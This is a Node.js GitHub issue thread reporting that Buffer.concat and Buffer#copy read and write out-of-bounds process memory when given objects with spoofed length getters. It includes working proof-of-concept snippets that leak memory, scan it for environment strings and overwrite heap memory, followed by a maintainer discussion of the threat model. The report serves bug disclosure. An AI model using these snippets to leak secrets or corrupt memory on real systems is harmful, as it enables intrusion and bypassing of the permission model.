Buffer#copy (and Buffer.concat) can read/write process memory on certain input

[ChALkeR]

Note: this is not a security issue only because malicious js is not in the threat model

const b = new Uint8Array(1).fill(1)
Object.defineProperty(b, 'length', { get: () => 20 })
Object.defineProperty(b, 'byteLength', { get: () => 20 })
console.log(Buffer.concat([b]))

While the input is deliberately invalid, returning uninitialized memory is highly unexpected

Note that this doesn't use any Buffer apis except for Buffer.concat, i.e. doesn't call to allocUnsafe
Also the Uint8Array instance is non-pooled

This also happens even with --zero-fill-buffers flag

The issue is on the native _copy side

Also reproducible with Buffer#copy:

const b = Buffer.alloc(0)
Object.defineProperty(b, 'byteLength', { get: () => 2000 })
const t = Buffer.alloc(2000)
b.copy(t, 0, 0, 2000)
console.log(t.filter(x => x))

This also looks like a regression, it didn't happen in 20 or 22.6 but happens in >=22.7 and 24

A sufficiently larger length causes a bus error 😉

---

Reading env vars

With Buffer.concat:

let l
const b = new Uint8Array(1).fill(1)
Object.defineProperty(b, 'length', { get: () => l })
Object.defineProperty(b, 'byteLength', { get: () => l })
for (l = 1000; l < 1e5; l+=100) {
  const c = Buffer.concat([b])
  const i = c.indexOf('executable_path')
  if (i >= 0) {
    const e = c.subarray(i).toString()
    if (e.length > 1000) {
      // whatever
      console.log(e)
      break
    }
  }
}

With Buffer#copy:

const l = 1000
const b = Buffer.alloc(0)
Object.defineProperty(b, 'byteLength', { get: () => 1e9 })
const c = Buffer.alloc(l)
for (let a = 0; a < 1e5; a += 100) {
  b.copy(c, 0, a, a + l)
  const i = c.indexOf('executable_path')
  if (i >= 0) {
    b.copy(c, 0, a + i, a + i + l)
    console.log(c.toString())
    break
  }
}

---

The same code could write to process memory, not just read from it
E.g. this will cause a guard failure (which can be obviously bypassed by reading it first)

const l = 200
const b = Buffer.alloc(1)
Object.defineProperty(b, 'byteLength', { get: () => l })
const t = Buffer.alloc(l)
t.copy(b, 0, 0, l) // writes t into process mem
console.log('x')

Reading then writing could also control which exact portions of process memory to overwrite

[addaleax]

Note: this is not a security issue only because malicious js is not in the threat model

It's potentially still a way to circumvent things like --permissions, which so far seem to have resulted in CVEs? Might be hard to achieve that reliably, but it's still a heap overflow at the end of the day.

[ChALkeR]

@addaleax --permissions is documented to be circumventable: https://nodejs.org/api/permissions.html

This feature does not protect against malicious code. According to the Node.js Security Policy, Node.js trusts any code it is asked to run.

The permission model implements a "seat belt" approach, which prevents trusted code from unintentionally changing files or using resources that access has not explicitly been granted to. It does not provide security guarantees in the presence of malicious code. Malicious code can bypass the permission model and execute arbitrary code without the restrictions imposed by the permission model.

[ChALkeR]

Might be hard to achieve that reliably,

Targeted read-writes should be pretty reliable for anything inside the area though

[addaleax]

@ChALkeR Yeah, I wouldn't want to imply that --permissions is a security mechanism that I would personally rely on either 🙂

Just pointing out that over the last few years, this type of thing seems to have been considered CVE-worthy. But I wasn't part of the conversations around that, so 🤷‍♀️

[ChALkeR]

cc @nodejs/security / @nodejs/security-wg just in case

[github-actions]

This issue has been marked as stale due to 210 days of inactivity.
It will be automatically closed in 30 days if no further activity occurs. If this is still relevant, please leave a comment or update it to keep it open.